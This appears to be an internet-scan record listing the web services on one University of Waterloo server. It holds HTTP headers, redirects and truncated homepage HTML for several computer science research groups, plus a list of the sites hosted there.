HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate last-modified: Fri, 12 Nov 2010 04:31:41 GMT etag: "132-494d39126bf59" accept-ranges: bytes content-length: 306 vary: Accept-Encoding content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><meta http-equiv="refresh" content="0;url= Home.html" /></head><body></body></html>
Open service 129.97.167.168:443 · cpi.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/cybersecurity-privacy-institute/ content-length: 344 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/cybersecurity-privacy-institute/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at cpi.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · charisma2010.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://charisma2010.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · softeng.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) location: https://uwaterloo.ca/software-engineering/ content-length: 337 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/software-engineering/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at softeng.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · se.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
vary: Accept-Encoding
content-length: 6837
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/
connection: close
Page title: Software Engineering Research Group
<HTML>
<HEAD>
<title>Software Engineering Research Group</title>
<script>
home_button_up = new Image;
home_button_up.src = "images/home_button_clicked.jpg";
home_button_down = new Image;
home_button_down.src = "images/home_button_down.jpg";
group_button_up = new Image;
group_button_up.src = "images/group_button_up.jpg";
group_button_down = new Image;
group_button_down.src = "images/group_button_down.jpg";
links_button_up = new Image;
links_button_up.src = "images/links_button_up.jpg";
links_button_down = new Image;
links_button_down.src = "images/links_button_down.jpg";
faculty_button_up = new Image;
faculty_button_up.src = "images/faculty_button_up.jpg";
faculty_button_down = new Image;
faculty_button_down.src = "images/faculty_button_down.jpg";
mailing_button_up = new Image;
mailing_button_up.src = "images/se_mailing_lists.jpg"
mailing_button_down = new Image;
mailing_button_down.src = "images/se_mailing_lists_down.jpg"
policies_button_up = new Image;
policies_button_up.src = "images/policies_button_up.jpg";
policies_button_down = new Image;
policies_button_down.src = "images/policies_button_down.jpg";
function MouseOverRoutine(ButtonName)
{
if (ButtonName=="group_button")
{
document.group_button.src = group_button_down.src;
}
if (ButtonName=="links_button")
{
document.links_button.src = links_button_down.src;
}
if (ButtonName=="policies_button")
{
document.policies_button.src = policies_button_down.src;
}
if (ButtonName=="faculty_button")
{
document.faculty_button.src = faculty_button_down.src;
}
if (ButtonName=="mailing_button")
{
document.mailing_button.src = mailing_button_down.src;
}
}
function MouseOutRoutine(ButtonName)
{
if (ButtonName=="group_button")
{
document.group_button.src = group_button_up.src;
}
if (ButtonName=="links_button")
{
document.links_button.src = links_button_up.src;
}
if (ButtonName=="faculty_button")
{
document.faculty_button.src = faculty_button_up.src;
}
if (ButtonName=="policies_button")
{
document.policies_button.src = policies_button_up.src;
}
if (ButtonName=="mailing_button")
{
document.mailing_button.src = mailing_button_up.src;
}
}
</script>
<LINK REL=StyleSheet HREF="style.css" TYPE="text/css">
</head>
<BODY bgcolor="2d5693" width="600">
<center>
<table width="600" hieght="1000" cellspacing="0" cellpadding="0">
<tr>
<td><center>
<table cellspacing="0" cellpadding="0">
<tr><td>
<IMG SRC="images/se_logo6.jpg" ALIGN="TOP" BORDER="0" width="600" USEMAP="#Logo"></IMG>
<MAP NAME="Logo">
<AREA COORDS="25,5,140,60" SHAPE="RECT" HREF="http://www.uwaterloo.ca" TARGET="_top" NAME="UW"> </area>
<AREA COORDS="470,18,630,75" SHAPE="RECT" HREF="http://www.cs.uwaterloo.ca" TARGET="_top" NAME="School of CS"></area>
</MAP>
</td></td>
</table>
</center></td>
</tr>
<tr hieght="1000">
<td>
<table width="600"cellspacing="0" cellpadding="0"> <tr>
<td rowspan="2" valign="top" bgcolor="#2d5693" width="100" cellpadding="0" cellspacing="0">
<table align="center" cellspacing="0" cellpadding="0">
<tr><td><a href="index.html" onMouseOver="MouseOverRoutine('home_button')" onMouseOut="MouseOutRoutine('home_button')">
<img border="0" name="home_button" src="images/home_button_clicked.jpg" alt="Home">
</a></td></tr>
<tr><td><a href="se_groups.html" onMouseOver="MouseOverRoutine('group_button')" onMouseOut="MouseOutRoutine('group_button')">
<img border="0" name="group_button" src="images/group_button_up.jpg" alt="Groups">
</a></td></tr>
<tr><td><a href="se_faculty.html" onMouseOver="MouseOverRoutine('faculty_button')" onMouseOut="MouseOutRoutine('faculty_button')">
<img border="0" name="faculty_button" src="images/faculty_button_up.jpg" alt="Faculty">
</a></td></tr>
<tr><td><a href="se_mailing_lists.html" onMouseOver="MouseOverRoutine('ma
Open service 129.97.167.168:443 · qc.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Mon, 02 Apr 2007 15:41:49 GMT
etag: "2161-42d230f33c940"
accept-ranges: bytes
content-length: 8545
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: Quantum Computing in the School of Computer Science
<html>
<head>
<title>Quantum Computing in the School of Computer Science</title>
<style TYPE='text/css'>
a {
text-decoration: none}
body {
font-family: sans-serif;
padding: 0;
margin: 0;
background-color: #666;
color: #000;
text-align: center;
}
p {
color: black;
background-color: transparent;
padding: 0px 30px 0px 30px;
line-height:1.3;
font-size: 15px;
}
h1 {
font-size: 28px;
}
h3 {
background-color:rgb(215, 215, 215);
color:black;
text-align:center;
padding: 10px 0px 10px 0px;
border-width: 0;
}
#portrait{
naturalsizeflag:0;
border-width:1;
border-style:solid;
border-color:gray;
height:80;
alt="photo"
}
#logo{
border-width:0;
alt="logo";
align: center;
}
#title-box{
color:black;
border-width: 0;
padding: 40px 20px 0px 20px;
}
#text-box{
padding: 10px 35px 10px 35px;
}
#content-box{
margin-top: 10px;
margin-bottom: 10px;
margin-right: auto;
margin-left: auto;
width: 800px;
padding: 10px;
background-color: #FFF;
color: #000;
text-align: justify;
}
</style>
</head>
<body>
<div id = "content-box">
<div id="title-box">
<table width="100%">
<tbody>
<tr>
<td width="100%">
<center>
<h1>Quantum Computing Research Group</h1>
<h4><a href = "http://www.cs.uwaterloo.ca">School of Computer Science</a>,
<a href = "http://www.uwaterloo.ca">University of Waterloo</a></h4>
</center>
</td>
</tr>
</tbody>
</table>
</div>
<div id="text-box">
<p>
Quantum information formulates the notion of information in a manner
that accounts for the quantum mechanical behavior of our world.
In this framework, models of computation and communication that
harness the strange power of quantum mechanics have been proposed and
investigated.
In particular, quantum computers are computing devices can exist in
several states simultaneously and their computation paths can
interfere with each other.
They can perform some tasks exponentially faster than any classical
computer (restricted to the laws of classical physics).
For example, a quantum computer can factor an <i>n</i>-bit integer in time
polynomial in <i>n</i>, whereas all known classical algorithms require
exponential time to do this.
It follows that a quantum computer can easily break many public-key
cryptosystems, such as RSA.
There are, however, quantum public-key cryptosystems based on the
uncertainty principle, that are provably secure against any (classical
or quantum) attack.
<p>
Quantum computing in the School of Computer Science is focused on the
theoretical aspects of quantum computing, including
the design and analysis of quantum algorithms, cryptographic
protocols, and various issues in information and complexity theory.
We are part of the University of Waterloo's
<strong><a href = "http://www.iqc.ca">Institute for Quantum
Computing</a></strong>—please see the institute's web page and our individual
web pages for further details of our research and activities.
</div>
<h3>
Faculty Members
</h3>
<table width="100%">
<tbody>
<tr>
<td width="25%">
<table cellspacing=10 width="100%">
<tbody>
<tr>
<td align="right" valign="middle" width="50%">
<img src="cleve.jpg" id="portrait">
</td>
<td align="left" valign="middle" width="50%">
<a href="http://www.cs.uwaterloo.ca/~cleve">
<strong>Richard<br> Cleve</strong></a>
</td>
</tr>
</tbody>
</table>
</td>
<td width="25%">
<table cellspacing=10 width="100%">
<tbody>
<tr>
<td align="right" valign="middle" width="50%">
<img src="watrous.jpg" id="portrait">
</td>
<td align="left" valign="middle" width="50%">
<a href="http://www.cs.uwaterloo.ca/~watrous">
<strong>John<br> Watrous</strong></a>
</td>
</tr>
</tbody>
</table>
</td>
<td width="50%"></td>
</tr>
</tbody>
</table>
<h3>
Cross-Appointed Faculty Members
</h3>
<table width="100%">
<tbody>
<tr>
<td width="25%">
<table cellspacing=10 width="100%">
<tbody>
<tr>
<td align="right" valign="middle" width="50%">
<img src="ambainis.jpg" id="portrait">
</td>
<td align="left" valign="middle" width="50%">
<a href="http://www.math.uwaterloo.ca/
Open service 129.97.167.168:443 · www.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) location: https://cs.uwaterloo.ca/ content-length: 318 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca3; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at www.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · wasl.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://wasl.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · cpi.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cpi.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · cswiki.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) location: https://cs.uwaterloo.ca/twiki content-length: 323 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cs.uwaterloo.ca/twiki">here</a>.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at cswiki.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · wasl.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate link: <https://wasl.uwaterloo.ca/wp-json/>; rel="https://api.w.org/", <https://wasl.uwaterloo.ca/wp-json/wp/v2/pages/49>; rel="alternate"; title="JSON"; type="application/json", <https://wasl.uwaterloo.ca/>; rel=shortlink x-frame-options: SAMEORIGIN vary: Accept-Encoding transfer-encoding: chunked content-type: text/html; charset=UTF-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close
Open service 129.97.167.168:443 · haproxy-2404.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 404 Not Found
cache-control: no-cache
content-type: text/html
retry-after: 60
strict-transport-security: max-age=16000000; preload;
connection: close
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<p style="text-align:center;">
This web server hosts a number of sites for the School of Computer Science.
<p style="text-align:center;">
If you need assistance or to report a problem, please contact the CSCF Help Desk at cscfhelp@uwaterloo.ca<mailto:cscfhelp@uwaterloo.ca>.
<p style="text-align:center;">
Here is a list of the sites hosted here:
<br>
<a href="https://algcomp.uwaterloo.ca">algcomp.uwaterloo.ca</a> <br>
<a href="https://andromeda-proxy.cs.uwaterloo.ca">andromeda-proxy.cs.uwaterloo.ca</a> <br>
<a href="https://booked.cs.uwaterloo.ca">booked.cs.uwaterloo.ca</a> <br>
<a href="https://cfm.uwaterloo.ca">cfm.uwaterloo.ca</a> <br>
<a href="https://cgl.uwaterloo.ca">cgl.uwaterloo.ca</a> <br>
<a href="https://charisma2010.uwaterloo.ca">charisma2010.uwaterloo.ca</a> <br>
<a href="https://chil.uwaterloo.ca">chil.uwaterloo.ca</a> <br>
<a href="https://compstats.uwaterloo.ca">compstats.uwaterloo.ca</a> <br>
<a href="https://cpi.uwaterloo.ca">cpi.uwaterloo.ca</a> <br>
<a href="https://crysp.uwaterloo.ca">crysp.uwaterloo.ca</a> <br>
<a href="https://cs.uwaterloo.ca">cs.uwaterloo.ca</a> <br>
<a href="https://cswiki.uwaterloo.ca">cswiki.uwaterloo.ca</a> <br>
<a href="https://dsg.uwaterloo.ca">dsg.uwaterloo.ca</a> <br>
<a href="https://epad.uwaterloo.ca">epad.uwaterloo.ca</a> <br>
<a href="https://exii.cs.uwaterloo.ca">exii.cs.uwaterloo.ca</a> <br>
<a href="https://geometricalgebra.org">geometricalgebra.org</a> <br>
<a href="https://grec.cs.uwaterloo.ca">grec.cs.uwaterloo.ca</a> <br>
<a href="https://hi.uwaterloo.ca">hi.uwaterloo.ca</a> <br>
<a href="https://icr.uwaterloo.ca">icr.uwaterloo.ca</a> <br>
<a href="https://icse2019.cs.uwaterloo.ca">icse2019.cs.uwaterloo.ca</a> <br>
<a href="https://inventory.math.uwaterloo.ca">inventory.math.uwaterloo.ca</a> <br>
<a href="https://mc.uwaterloo.ca">mc.uwaterloo.ca</a> <br>
<a href="https://neurocog.uwaterloo.ca">neurocog.uwaterloo.ca</a> <br>
<a href="https://nextcloud-test.cscf.uwaterloo.ca">nextcloud-test.cscf.uwaterloo.ca</a> <br>
<a href="https://nextcloud.cs.uwaterloo.ca">nextcloud.cs.uwaterloo.ca</a> <br>
<a href="https://qc.uwaterloo.ca">qc.uwaterloo.ca</a> <br>
<a href="https://rboutaba.cs.uwaterloo.ca">rboutaba.cs.uwaterloo.ca</a> <br>
<a href="https://rebels.cs.uwaterloo.ca">rebels.cs.uwaterloo.ca</a> <br>
<a href="https://rgw.cs.uwaterloo.ca">rgw.cs.uwaterloo.ca</a> <br>
<a href="https://ripple.uwaterloo.ca">ripple.uwaterloo.ca</a> <br>
<a href="https://scicom.uwaterloo.ca">scicom.uwaterloo.ca</a> <br>
<a href="https://se.uwaterloo.ca">se.uwaterloo.ca</a> <br>
<a href="https://softeng.uwaterloo.ca">softeng.uwaterloo.ca</a> <br>
<a href="https://staging-crysp.uwaterloo.ca">staging-crysp.uwaterloo.ca</a> <br>
<a href="https://student.cs.uwaterloo.ca">student.cs.uwaterloo.ca</a> <br>
<a href="https://uclp.uwaterloo.ca">uclp.uwaterloo.ca</a> <br>
<a href="https://upscope.uwaterloo.ca">upscope.uwaterloo.ca</a> <br>
<a href="https://userver.uwaterloo.ca">userver.uwaterloo.ca</a> <br>
<a href="https://vision.cs.uwaterloo.ca">vision.cs.uwaterloo.ca</a> <br>
<a href="https://vpn.cs.uwaterloo.ca">vpn.cs.uwaterloo.ca</a> <br>
<a href="https://wasl.uwaterloo.ca">wasl.uwaterloo.ca</a> <br>
<a href="https://watform.uwaterloo.ca">watform.uwaterloo.ca</a> <br>
<a href="https://www.cs.uwaterloo.ca">www.cs.uwaterloo.ca</a> <br>
<a href="https://www.scg.uwaterloo.ca">www.scg.uwaterloo.ca</a> <br>
<a href="https://www.swag.uwaterloo.ca">www.swag.uwaterloo.ca</a> <br>
<a href="https://wwwtest.student.cs.uwaterloo.ca">wwwtest.student.cs.uwaterloo.ca</a> <br>
</p>
</body>
<html>
Open service 129.97.167.168:443 · rgw.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK transfer-encoding: chunked x-amz-request-id: tx00000667cd2ff000f2c14-006961714d-5aeb6760-default content-type: application/xml date: Fri, 09 Jan 2026 21:21:17 GMT strict-transport-security: max-age=16000000; preload; set-cookie: rgw.cs.uwaterloo.ca_haproxy_cookie=rgw.cs.uwaterloo.ca1; path=/ connection: close <?xml version="1.0" encoding="UTF-8"?><ListAllMyBucketsResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Owner><ID>anonymous</ID><DisplayName></DisplayName></Owner><Buckets></Buckets></ListAllMyBucketsResult>
Open service 129.97.167.168:80 · softeng.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://softeng.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · userver.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://userver.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · userver.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 500 Internal Server Error date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate content-length: 618 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: 500 Internal Server Error <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> <p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p> <p>More information about this error may be available in the server error log.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at userver.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:80 · haproxy-2404.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://haproxy-2404.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:80 · cgl.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://cgl.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · upscope.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK date: Fri, 09 Jan 2026 21:21:18 GMT server: Apache/2.4.58 (Ubuntu) cache-control: private, max-age=0, must-revalidate last-modified: Tue, 02 Nov 2021 15:55:45 GMT etag: "54-5cfd05390d8a2" accept-ranges: bytes content-length: 84 vary: Accept-Encoding content-type: text/html; charset=utf-8 strict-transport-security: max-age=16000000; preload; set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/ connection: close Page title: UPSCOPE <html><head><title>UPSCOPE</title></head><body><p>More to come...</p></body></html>
Open service 129.97.167.168:80 · crysp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://crysp.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · cgl.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:19 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Wed, 20 Nov 2024 02:51:22 GMT
etag: "2f9c-6274f39983af5"
accept-ranges: bytes
content-length: 12188
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: Waterloo Computer Graphics Lab
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Waterloo Computer Graphics Lab</title>
<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="css/clean-blog.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href='http://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800' rel='stylesheet' type='text/css'>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<!-- Navigation -->
<div class = "container">
<header class="intro-header" style="background-image: url('img/davis_exterior_trim2.jpg')">
<nav class="navbar navbar-inverse navbar-custom">
<div class="container-fluid">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header page-scroll">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="index.html">CGL Home</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav navbar-right">
<li>
<a href="people.html">People</a>
</li>
<li>
<a href="publications.html">Publications</a>
</li>
<li>
<a href="courses.html">Courses</a>
</li>
<li>
<a href="software.html">Software</a>
</li>
<li>
<a href="posters.html">Posters</a>
</li>
<li>
<a href="http://www.cgl.uwaterloo.ca/Private/index.html">For Lab Members</a>
</li>
</ul>
</div>
<!-- /.navbar-collapse -->
</div>
<!-- /.container -->
</nav>
<!-- Page Header -->
<!-- Set your background image for this header on the line below. -->
<div class="row">
<div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
<div class="site-heading">
<h1>Waterloo Computer Graphics Lab</h1>
<!--<hr class="small">
<h1>University of Waterloo</h1>
<!--<span class="subheading">University of Waterloo</span>-->
</div>
</div>
</div>
</header>
Open service 129.97.167.168:80 · rgw.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently content-length: 0 location: https://rgw.cs.uwaterloo.ca/ connection: close
Open service 129.97.167.168:443 · www.student.cs.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 301 Moved Permanently date: Fri, 09 Jan 2026 21:20:31 GMT server: Apache/2.4.52 (Ubuntu) location: https://student.cs.uwaterloo.ca/ content-length: 334 content-type: text/html; charset=iso-8859-1 strict-transport-security: max-age=16000000; preload; set-cookie: student.cs.uwaterloo.ca_haproxy_cookie=student.cs.uwaterloo.ca1; path=/ connection: close Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://student.cs.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at www.student.cs.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.167.168:443 · watform.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:17 GMT
server: Apache/2.4.58 (Ubuntu)
cache-control: private, max-age=0, must-revalidate
last-modified: Thu, 12 Apr 2018 18:33:33 GMT
etag: "e58-569aafe2de515"
accept-ranges: bytes
content-length: 3672
vary: Accept-Encoding
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca2; path=/
connection: close
Page title: WatForm: Home
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>WatForm: Home</title>
<link rel="stylesheet" type="text/css" href="style.css" />
<link rel="stylesheet" type="text/css" href="unique.css" />
<!-- If this is IE, run javascript code to fix its behaviour -->
<!--[if lt IE 8]>
<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js"
type="text/javascript"></script>
<![endif]-->
<!-- Function to insert email address invisible to crawlers -->
<script type="text/javascript">
/* <![CDATA[ */
function insertMailto( $emailuser, $emailhost ) {
document.write('<a href=\"mailto:' + $emailuser + '@' + $emailhost
+ '\">' + $emailuser + '@' + $emailhost + '</a>');
/* ]]> */
}
</script>
</head>
<body>
<table>
<tr>
<td>
<img src="img/watform-logo.gif" align=right>
</td>
<td>
</td>
<td>
</td>
<td>
</td>
<td>
<h1>Waterloo Formal Methods Group</h1>
</td>
</tr>
</table>
<p>
</p>
<!-- This probably shouldn't be done as a table -->
<table id="main">
<tr>
<td id="nav-box" valign="top">
<ul id="nav-bar">
<li>
<a href="index.html">Home</a>
</li>
<li>
<a href="faculty.html">Faculty</a>
</li>
<li> Working Groups:
<ul>
<li>
<a href="wssg.html">
Waterloo System Safety Group
</a>
</li>
</ul>
</ul>
</td>
<td id="main-box">
<h2 class="title"></h2>
<p></p>
<h2>Mathematical Methods for Engineering Computer-Based Systems</h2>
<p>
The Waterloo Formal Methods Research Group, WatForm, was established in the Spring of 2001 at the University of Waterloo. WatForm draws its members from both the
<a href="http://www.cs.uwaterloo.ca">
David R Cheriton School of Computer Science
</a>
and the
<a href="http://www.ece.uwaterloo.ca">
Electrical and Computer Engineering Department
</a>
.
</p>
<p>
The focus of WatForm is the development of mathematical methods for engineering computer-based systems. All group members use rigorous and formal mathematics for the analysis or creation of systems. The group's research covers improvements to theories, development of algorithms, construction and evaluation of tools, and applications of techniques on real-world problems.
</p>
<p>
The WatForm members apply their results to the design and verification of real-world systems ranging from microprocessors to autonomous vehicles.
</p>
<p>
The group has developed a strong sense of synergy from the common mathematics, tools, and techniques that underly the different application domains. An important aspect to our group is the cross-fertilization of ideas that occur as we compare characteristics and solutions from our different fields.
</p>
<!--
For more information contact: watform AT uwaterloo DOT ca
-->
</td>
</tr>
</table>
<div class="validator">
<!-- If this is IE, display this link -->
<!--[if lt IE 8]>
<a href="http://code.google.com/p/ie7-js/">
<img style="border:0;width:88px"
src="http://ie7-js.googlecode.com/svn/version/ie7.gif"
alt="IE7 library used" />
</a>
<![endif]-->
<a href="http://validator.w3.org/check?uri=referer">
<img style="border:0;width:88px;height:31px;"
src="http://www.w3.org/Icons/valid-xhtml10-blue"
alt="Valid XHTML 1.0 Strict" />
</a>
<a href="http://jigsaw.w3.org/css-validator/check?uri=referer">
<img style="border:0;width:88px;height:31px;"
src="http://jigsaw.w3.org/css-validator/images/vcss-blue"
alt="Valid CSS!" />
</a>
</div>
<p class="lastModified">
Last modified on Thursday 12th of April 2018 02:32:45 PM</p> </body>
</html>
Open service 129.97.167.168:443 · crysp.uwaterloo.ca
2026-01-09 21:21
HTTP/1.1 200 OK
date: Fri, 09 Jan 2026 21:21:18 GMT
server: Apache/2.4.58 (Ubuntu)
content-location: index.shtml
vary: negotiate,Accept-Encoding
tcn: choice
cache-control: private, max-age=0, must-revalidate
accept-ranges: bytes
onion-location: http://uwcryspionvholmkfxoqt2xns5mvnct34ytacugxtqpqrnka2oqm6kqd.onion/index.shtml
content-length: 50156
content-type: text/html; charset=utf-8
strict-transport-security: max-age=16000000; preload;
set-cookie: cs.uwaterloo.ca_haproxy_cookie=cs.uwaterloo.ca1; path=/
connection: close
Page title: Cryptography, Security, and Privacy (CrySP) | University of Waterloo
<!DOCTYPE html>
